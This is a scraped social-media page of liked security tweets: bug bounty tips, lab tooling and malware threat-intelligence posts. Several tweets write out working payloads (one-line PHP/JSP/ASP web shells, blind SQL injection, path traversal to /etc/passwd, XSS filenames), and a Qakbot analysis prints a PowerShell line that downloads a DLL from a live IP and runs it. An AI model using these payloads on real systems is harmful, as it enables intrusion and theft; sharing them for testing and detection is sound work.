Nikt0 @Nikto_APT

Joined December 2022

Tweets

34
Followers

7
Following

197
Likes

32

sn🥶vvcr💥sh @snovvcrash

2 years ago

Since I’ve first seen an interactive “OpSec safety consideration” warning in Sliver C2, I’ve been looking forward to an opportunity to implement something similar in a project of mine. Well, that day has come I believe 😂

2 18 93 11K 11

Download Image

Abdalla Abdelrhman @0x2nac0nda

2 years ago

#Web Shells #php <?php system($_REQUEST["cmd"]); ?> <?php system($_GET["cmd"]); ?> #JSP <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> #ASP <% eval request("cmd") %> #Tips #php #ASP #JSP

13 65 189 11K 82

VulnVision @VulnVision

2 years ago

we are happy to share a 0day we have found on wordpress login page allow un-auth cross site scripting (xss) #BugBountytip #BugBounty #ItTakesACrowd

39 278 1K 153K 356

Download Image

Mauricio Velazco @mvelazco

3 years ago

Need a full AD lab with 20 windows servers +Kali+win logging+sysmon+splunk to test attack techniques and review the resulting telemetry ? Attack Range has your covered in ~30m ⌨️python attack_range.py build Config🔗gist.github.com/mvelazc0/77013… Attack Range 🔗 github.com/splunk/attack_…

14 299 982 84K 487

Download Image

an0n @an0n_r0

3 years ago

Played with Outlook CVE-2023-23397. Made a simple PoC email builder & sender featuring malicious reminder (just a Msg, no need to use a Task or Cal. Ev.). Critical 0-click account takeover on internal networks even after MS patch, no need to open the message on the victim side.

15 363 1K 173K 362

Download Image

VIEH Group @viehgroup

2 years ago

#SQLi tip: Find Header-Based Blind SQL injection #htttpx cat domain.txt | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(13),0))OR" -rt -timeout 20 -mrt '>13' Threads 👾

6 72 191 13K 106

̇ @r3dbU7z

3 years ago

#opendir Just example of course😎

2 3 6 1K 4

Download Image

sicehice @sicehice

3 years ago

#opendir hosting #metasploit #meterpreter payloads and other tooling 109.205.180[.]99 rev.elf uses 109.205.180[.]99:4242 for C2 r (bash reverse shell) connects back to 173.212.248[.]30:4242 ref.elf: 587329be27b4e35c334b7e6fe77b5dff r: 83492b5878b83a7889d56faaaa16597b

3 5 18 8K 4

Download Image

blueblue @piedpiper1616

3 years ago

Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817) · GitHub - gist.github.com/monoxgas/f6155…

1 24 76 13K 9

Eno Leriand @0x3n0

3 years ago

Bypass 403 Forbidden using @httpie http --print=Hh "https://domain.tld/path/to/WWW/admin/desktop/excite/results.con" to http --print=Hh "https://domain.tld/path/to/WWW/admin/desktop/excite/results.conf%2f"

0 36 124 10K 49

Download Image

MD Sagor Hossain (Professor) @bughuntar

3 years ago

How to find SQL injection on the Registration page? Try SQL Injection in Email Address (username) #bugbountytips #bugbounty #bugbountytips #sqli

27 316 1K 74K 515

Download Image

JS0N Haddix @Jhaddix

3 years ago

/api/file/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

5 22 243 26K 89

Download Gif

Max_Malyutin @Max_Mal_

3 years ago

#Emotet OneNote New Wave Started 🚨 #TTPs & #DFIR Exec Flow: OneNote.exe > Wscript.exe > Regsvr32.exe [+] JavaScript T1059.007: .js [ServerXMLHTTP + SaveToFile + IWshShell3] [+] Regsvr32 T1218.010: .dll exec from %temp%/[RandomDir] #IOCs C2 Server: 209.126.85[.]32 Port: 8080

Cryptolaemus @Cryptolaemus1

3 years ago

1 28 41 35K 1

0 61 106 25K 11

Download Image

proxylife @pr0xylife

3 years ago

#Qakbot - obama245 - .html > .js > ps > .dll wscript cFV.js powershell $Poly = ("http://203.96.177.121/lJkDbdp.dat") foreach ($doc in $Poly) {try {Invoke-WebRequest $doc -O $env:TEMP\Withertip.dll rundll32 $env:TEMP\Withertip.dll,GL70 IOC's github.com/pr0xylife/Qakb…

2 39 93 11K 10

Download Image

0xor0ne @0xor0ne

3 years ago

(1/2) Four part series on IoT devices reverse engineering by Federico Dotta Discover components and ports: security.humanativaspa.it/a-journey-into… Firmware dump and analysis: security.humanativaspa.it/a-journey-into… #iot #reverseengineering #embedded #infosec #cybersecurity

3 54 185 22K 74

Download Image

Ninad Mishra @NinadMishra5

3 years ago

#BugBounty If you find a file upload function for an image, try introducing an image with XSS in the filename like so: <img src=x onerror=alert('XSS')>.png "><img src=x onerror=alert('XSS')>.png "><svg onmouseover=alert(1)>.svg <<script>alert('xss')a.png credit:@h4x0r_dz

4 43 148 7K 63

Dolev Farhi @dolevfarhi

3 years ago

3 FREE Black Hat GraphQL books (No Starch Press) giveaway! Retweet for your chance to win, ends on Monday. @nostarch #hacking #book #blackhatgraphql #giveaway #free

40 527 452 44K 26

Download Image

elSec @adrielsec

3 years ago

TOP15 Best Vulnerability Scanners 🎯 #BugBounty #BugBountytips #BugBounty #nuclei #hacking

2 55 112 6K 47

Download Image

Intigriti @intigriti

3 years ago

We're hosting an Open Port event in our offices in London and you can be there! 🫵 👨‍💻 Hack with fellow bug bounty hunters 💼 Meet the Intigriti team! 📅 March 23, 2023 👨‍👩‍👦 Total spots available: 15 Want to join? Check out all the information below 👇 See you there! 👋

2 7 47 16K 0

Download Image

Moblig @moblig_

3 years ago

Yay, I was awarded a $10,000 bounty on @Hacker0x01! For a Critical Severity IDOR. Tip: 1) In-depth knowledge of the program, lots of manual testing 2) Learning to master the 'Autorize' extension for Burp Automated & manual testing🤝 #bugbountytip #hackerone